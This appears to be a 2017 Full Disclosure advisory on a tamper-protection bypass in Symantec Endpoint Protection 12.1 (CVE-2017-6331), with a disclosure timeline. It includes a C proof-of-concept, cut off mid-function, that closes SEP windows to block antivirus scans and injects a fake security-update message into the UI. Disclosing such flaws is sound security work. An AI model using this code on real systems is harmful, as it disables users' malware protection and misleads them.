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Date: Sun, 12 Nov 2017 22:28:47 -0500
From: hyp3rlinx <>
Subject: [FD] Symantec Endpoint Protection (SEP) v12.1 Tamper-protection
	Bypass CVE-2017-6331

[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website:
[+] Source:
[+] ISR: ApparitionSec


Symantec Endpoint Protection
v12.1.6 (12.1 RU6 MP5)
Symantec 12.1.7004.6500

Vulnerability Type:
Tamper-Protection Bypass
Denial Of Service / Message Spoof

CVE Reference:

Security Issue:
Symantec Endpoint Protection (SEP), does not validate where WinAPI
messages comes from (lack of UIPI).
Therefore, malware can easily spoof messages to the UI or send
the SEP UI denying end user ability to scan / run the EP AntiVirus
protection. Spoofed messages could
also potentially inform a user a scan was clean.

Unfortunately Symantecs advisory left out details of the Denial Of
Service as well as minimizing the
amount of text a malware could inject into the UI which would result
in compromising the integrity of the
Symantec Endpoint Protection Control Panel user interface.



1) Compile below C program, it targets various components of SEP,
comment out what you want to send to the UI.

2) Try to open the Symantec Endpoint UI and you will be denied.
3) Or inject attacker supplied messages intructing the user the file
is clean etc.

#include <windows.h>
#include <Tlhelp32.h>
#define VICTIM "DevViewer.exe"

//ISR: ApparitionSec
//Symantec EP Protection - Tamper Protection Bypass Vulnerability
//Tested successfully on Symantec 12.1.6 (12.1 RU6 MP5) build 7004
Symantec 12.1.7004.6500 Windows 7
//How: FindWindow / SendMessage Win32 API
//Impact: DOS / Integrity Compromised
//TO-DO: Get Window text for SavUI.exe and DOS to prevent AV scans.

void main(void){


   HWND hWnd = FindWindow( NULL, TEXT("Status - Symantec Endpoint Protection"));

     //This injects arbitrary messages to SEP UI.
     SetWindowText(hWnd, "*** Important Security Update, Visit: download and follow instructions. ***");
     //This prevents a user from being able to run AV scans and
renders SEP UI useless
    //SendMessage(hWnd, WM_SYSCOMMAND, SC_CLOSE, 0);

   //HWND savUI = FindWindowEx(0, 0, "Symantec Endpoint Protection", 0);

   HWND x = FindWindow(NULL, TEXT("DevViewer"));
     SendMessage(x, WM_SYSCOMMAND, SC_CLOSE, 0);

   HWND x2 = FindWindow(NULL, TEXT("DoScan Help"));
   SendMessage(x2, WM_SYSCOMMAND, SC_CLOSE, 0);

   HWND x3 = FindWindow(NULL, TEXT("Sylink Drop"));
   SendMessage(x3, WM_SYSCOMMAND, SC_CLOSE, 0);

  HWND x4 = FindWindow(NULL, TEXT("Manual Scan started on 7/8/2016"));
     SendMessage(x4, WM_SYSCOMMAND, SC_CLOSE, 0);



Network Access:


Disclosure Timeline:
Vendor Notification: July 8, 2016
Vendor acknowledged: 7/14/16
Vendor advisory : November 6, 2017
November 10, 2017  : Public Disclosure

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